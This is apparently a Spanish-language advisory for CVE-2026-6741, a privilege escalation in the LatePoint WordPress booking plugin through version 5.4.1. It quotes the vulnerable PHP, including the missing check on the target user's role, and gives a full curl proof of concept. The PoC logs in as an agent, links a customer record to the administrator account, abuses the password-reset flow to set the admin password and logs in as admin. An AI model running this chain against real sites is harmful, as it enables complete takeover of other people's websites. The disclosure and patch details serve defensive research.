
CVE-2026-6741 es una vulnerabilidad de Escalada de Privilegios Autenticada (Agente+) con CVSS 8.8 (Alta) en el LatePoint – Calendar Booking Plugin.
CVE-2026-6741 es una vulnerabilidad de escalada de privilegios (autenticada, Agent+) con puntuación CVSS 8.8 (Alta) en el plugin LatePoint – Calendar Booking Plugin.
Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) ID CVE: CVE-2026-6741 Puntuación CVSS: 8.8 (Alta) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Escalada de privilegios autenticada (Agent+) → Toma de control de administrador Versiones afectadas: <= 5.4.1 Versión parcheada: 5.4.2 Fecha de publicación: 27 de abril de 2026 Investigadores: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
Un atacante autenticado con el rol latepoint_agent puede conectar cualquier registro de cliente de LatePoint a una cuenta de administrador de WordPress y luego, utilizando el propio flujo de restablecimiento de contraseña de LatePoint, cambiar la contraseña del administrador.
Esto resulta en una toma de control completa del sitio.
| Campo | Valor |
|---|---|
| Nombre del plugin | LatePoint – Calendar Booking Plugin |
| Slug del plugin | latepoint |
| ID CVE | CVE-2026-6741 |
| Puntuación CVSS | 8.8 (Alta) |
| Tipo de vulnerabilidad | Escalada de privilegios autenticada (Agent+) |
| Versión afectada | <= 5.4.1 |
| Versión parcheada | 5.4.2 |
| Requisito | Rol latepoint_agent, WordPress 6.9+ |
LatePoint 5.3.0 añadió soporte para la API de Habilidades (Abilities API) que viene con WordPress 6.9+. Esta API permite a los plugins registrar clases de "habilidad" que pueden ser invocadas a través de la API REST:
// latepoint.php (5.4.1, línea 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — línea 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← único control: esta capacidad
}
El rol Agent tiene por defecto la capacidad customer__edit:
// lib/helpers/roles_helper.php — línea 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← el agente tiene esta capacidad
...
];
}
// connect-customer-to-wp-user.php — líneas 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Solo se verifica si el usuario existe
// FALTA: no se verifica el rol del usuario objetivo
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← conecta con cualquier usuario WP
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — línea 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ ahora wordpress_user_id es el ID del admin → la contraseña del admin cambia
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Solo verifica la capacidad del que INVOCA
// NO verifica el rol del usuario OBJETIVO
}
Cuenta latepoint_agent
│
▼
1. Iniciar sesión en WP como Agent → obtener nonce REST
│
▼
2. Identificar el ID del usuario admin objetivo
(wp-json/wp/v2/users o ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Sin control de rol → Éxito
│
▼
4. LatePoint forgot_password → enviar token de restablecimiento al correo del cliente
│
▼
5. Con el token, change_password → se llama a update_password()
→ wp_set_password("Hacked!", 1)
→ Contraseña del admin cambiada
│
▼
6. Iniciar sesión como admin con la nueva contraseña → Control total del sitio ✓
⚠️ Aviso: Esta PoC se proporciona únicamente con fines educativos y de investigación defensiva en seguridad.
Requisitos previos:
latepoint_agentWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Inicio de sesión basado en cookies
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# Obtener nonce REST
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# Listar usuarios administradores mediante la API REST
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Generalmente ID=1
CUSTOMER_ID=5 # ID del cliente de LatePoint que controlas
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Respuesta esperada:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint envía un correo a $CUSTOMER_EMAIL con un token account_nonce para restablecer la contraseña.
RESET_TOKEN="<token_obtenido_del_correo>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
Esta llamada desencadena la cadena update_password() → wp_set_password($NEW_PASSWORD, 1). Se ha cambiado la contraseña del admin.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"